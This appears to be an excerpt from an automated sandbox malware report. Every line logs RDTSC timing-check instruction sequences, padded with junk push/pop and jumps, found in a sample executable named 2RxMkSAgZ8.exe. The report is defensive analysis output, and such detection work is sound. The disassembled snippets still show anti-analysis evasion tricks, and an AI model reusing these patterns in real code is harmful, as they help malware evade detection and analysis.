Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1143F76 second address: 1143F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1143F7F second address: 1143F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1143F83 second address: 1143F87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114437B second address: 11443BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F40A503F43Eh 0x0000000c jnp 00007F40A503F436h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F40A503F449h 0x0000001b jmp 00007F40A503F440h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114476F second address: 1144773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1144773 second address: 1144783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F40A503F436h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1144783 second address: 1144787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10EC9E4 second address: 10EC9E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11436A1 second address: 11436D6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F40A5132E96h 0x00000008 jmp 00007F40A5132EA0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F40A5132E9Fh 0x00000017 pushad 0x00000018 popad 0x00000019 jc 00007F40A5132E96h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1147EF7 second address: 1147EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1147EFB second address: 1147F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1147F01 second address: 1147F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114B2C2 second address: 114B2C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1107A1B second address: 1107A5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F445h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F40A503F445h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F40A503F43Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1107A5A second address: 10EBFB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F40A5132E9Dh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c call 00007F40A5132E9Dh 0x00000011 movsx ecx, di 0x00000014 pop edx 0x00000015 call dword ptr [ebp+122D1A46h] 0x0000001b jmp 00007F40A5132E9Dh 0x00000020 pushad 0x00000021 push esi 0x00000022 jmp 00007F40A5132EA2h 0x00000027 pop esi 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1107B1A second address: 1107B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40A503F43Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1107C53 second address: 1107C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1108018 second address: 110801C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110801C second address: 1108026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110819F second address: 11081A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11082ED second address: 11082F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11082F1 second address: 11082FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11082FB second address: 11082FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11082FF second address: 110833D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jnc 00007F40A503F436h 0x00000010 jg 00007F40A503F436h 0x00000016 popad 0x00000017 pop edx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push edi 0x0000001d jl 00007F40A503F438h 0x00000023 pushad 0x00000024 popad 0x00000025 pop edi 0x00000026 mov eax, dword ptr [eax] 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jnc 00007F40A503F436h 0x00000031 jmp 00007F40A503F43Ch 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110848B second address: 110848F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110848F second address: 1108499 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F40A503F436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11085FE second address: 1108634 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40A5132E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jmp 00007F40A5132EA4h 0x00000011 nop 0x00000012 mov ecx, dword ptr [ebp+122D3995h] 0x00000018 push 00000004h 0x0000001a mov ecx, edi 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 jp 00007F40A5132E96h 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1108634 second address: 110863A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110863A second address: 110863E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110863E second address: 1108655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F40A503F43Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1108AAE second address: 1108AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1108C50 second address: 1108C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1108C54 second address: 1108C72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1108D6E second address: 1108DB1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F40A503F438h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add edx, 4AC1B60Ah 0x00000011 lea eax, dword ptr [ebp+1248283Fh] 0x00000017 mov ecx, dword ptr [ebp+122D1A29h] 0x0000001d nop 0x0000001e jmp 00007F40A503F43Eh 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F40A503F442h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1108DB1 second address: 1108E05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F40A5132EA7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+12463290h], esi 0x00000014 lea eax, dword ptr [ebp+124827FBh] 0x0000001a pushad 0x0000001b jmp 00007F40A5132EA5h 0x00000020 add edi, 04A84C00h 0x00000026 popad 0x00000027 nop 0x00000028 jng 00007F40A5132EA4h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1108E05 second address: 1108E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1108E09 second address: 10EC9E4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 jmp 00007F40A5132EA6h 0x0000000d pop ebx 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F40A5132E98h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 pushad 0x0000002a push esi 0x0000002b mov bh, D4h 0x0000002d pop edx 0x0000002e mov esi, edi 0x00000030 popad 0x00000031 cld 0x00000032 call dword ptr [ebp+122D23F7h] 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b jne 00007F40A5132E96h 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114B5A7 second address: 114B5AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114B5AB second address: 114B5AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114B5AF second address: 114B5BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F40A503F438h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114B8A8 second address: 114B8B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F40A5132E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114B8B2 second address: 114B8CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F40A503F43Ch 0x0000000c pushad 0x0000000d jnl 00007F40A503F436h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114B8CD second address: 114B8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 114BA46 second address: 114BA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A503F447h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1150A28 second address: 1150A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F40A5132EA0h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11503EE second address: 11503F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11503F3 second address: 1150421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA8h 0x00000007 jmp 00007F40A5132E9Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1150421 second address: 1150427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1150427 second address: 115042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115042E second address: 1150434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1150434 second address: 1150438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1151349 second address: 1151366 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F449h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115148D second address: 11514D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F40A5132EA6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1151806 second address: 1151812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11531A3 second address: 11531BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40A5132EA4h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115551A second address: 1155532 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F40A503F442h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1155532 second address: 1155536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11584CD second address: 11584D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157CC6 second address: 1157CEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Bh 0x00000007 jmp 00007F40A5132EA6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157CEB second address: 1157D17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F40A503F440h 0x00000008 jmp 00007F40A503F445h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157D17 second address: 1157D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157D20 second address: 1157D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157D24 second address: 1157D37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jng 00007F40A5132E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157D37 second address: 1157D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157D3D second address: 1157D66 instructions: 0x00000000 rdtsc 0x00000002 je 00007F40A5132E96h 0x00000008 jmp 00007F40A5132EA1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F40A5132E96h 0x00000017 jc 00007F40A5132E96h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157D66 second address: 1157D87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F43Ch 0x00000007 js 00007F40A503F436h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jc 00007F40A503F436h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157EE5 second address: 1157EEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1157EEB second address: 1157F06 instructions: 0x00000000 rdtsc 0x00000002 je 00007F40A503F438h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F40A503F43Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115BADB second address: 115BADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115BADF second address: 115BAF5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F40A503F436h 0x00000008 js 00007F40A503F436h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115BAF5 second address: 115BAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115BAF9 second address: 115BB11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F440h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115BB11 second address: 115BB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115BC44 second address: 115BC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 115C084 second address: 115C089 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116276E second address: 1162774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1162774 second address: 116277B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116277B second address: 1162786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1162786 second address: 116279D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F40A5132E9Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116279D second address: 11627B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F445h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11627B6 second address: 11627BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11627BF second address: 11627C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1161136 second address: 116113C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1161279 second address: 11612A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007F40A503F44Ch 0x0000000b jmp 00007F40A503F440h 0x00000010 ja 00007F40A503F436h 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11612A1 second address: 11612B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11612B2 second address: 11612B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11617B1 second address: 11617CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007F40A5132E9Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11617CB second address: 11617D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
